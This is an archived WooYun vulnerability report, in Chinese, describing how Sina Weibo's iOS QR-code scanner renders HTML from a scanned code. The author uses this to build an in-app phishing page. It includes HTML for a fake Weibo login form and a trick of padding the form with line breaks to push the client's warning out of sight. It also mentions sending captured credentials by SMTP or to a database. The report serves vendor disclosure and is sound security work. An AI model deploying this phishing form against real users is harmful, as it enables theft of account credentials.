当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-090177

漏洞标题：我是如何在新浪微博官方客户端内进行钓鱼的

相关厂商：新浪微博

漏洞作者： 鸟云厂商

提交时间：2015-01-06 09:08

修复时间：2015-02-20 09:10

公开时间：2015-02-20 09:10

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-06： 细节已通知厂商并且等待厂商处理中
2015-01-06： 厂商已经确认，细节仅向厂商公开
2015-01-16： 细节向核心白帽子及相关领域专家公开
2015-01-26： 细节向普通白帽子公开
2015-02-05： 细节向实习白帽子公开
2015-02-20： 细节向公众公开

简要描述：

我是如何在新浪微博官方客户端内进行钓鱼的

详细说明：

现在大部分APP都有个功能叫“扫一扫”，直接扫描二维码就可以显示信息。
打开新浪微博客户端（我的是IOS最新版）
扫描一张二维码图

dinggao.png


这个二维码其实是一段html代码，代码如下：

该网站需要新浪微博账户授权登录
 <input type="hidden" name="formhash" value="{FORMHASH}" />
                                <input type="hidden" name="cookietime" value="2592000" />
                                <input type="hidden" name="loginfield" value="username" />
                                新浪微博账号
                                <input type="text" id="username" name="username" size="15" maxlength="40" tabindex="1" onclick="this.value = ''" />
                                登陆密码
                                <input name="password" type="password" id="password" tabindex="2" onkeypress="if((event.keyCode ? event.keyCode : event.charCode) == 13) $('loginform').submit()" size="15" />
                                <button name="userlogin" type="submit" value="true">登录到微博</button>
                        </form>
<br>
<br>
<br>
<br>
<br>
<br>


这段代码是一个简单的登陆表单，当然，你也可以直接调用一个frame，这里只是为了演示就不去麻烦了
扫描二维码之后直接在页面解析了这段代码，在应用内形成钓鱼页面。
当然，这里新浪做了一个提示:

6739A37A-AD0F-407E-9F78-7DFA80258C24.png


所以我的代码后面是加了几个<br>换行符的，直接把提示顶到页面底部看不到了
最后页面：

IMG_2766.PNG


用户扫描二维码后，惯性地输入账号密码，钓鱼成功。具体的页面可以配置为smtp发送账号密码，也可以是直接提交到我的数据库里。

漏洞证明：

修复方案：

版权声明：转载请注明来源 鸟云厂商@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-01-06 16:18

厂商回复：

感谢对新浪安全的支持，漏洞修复中

最新状态：

暂无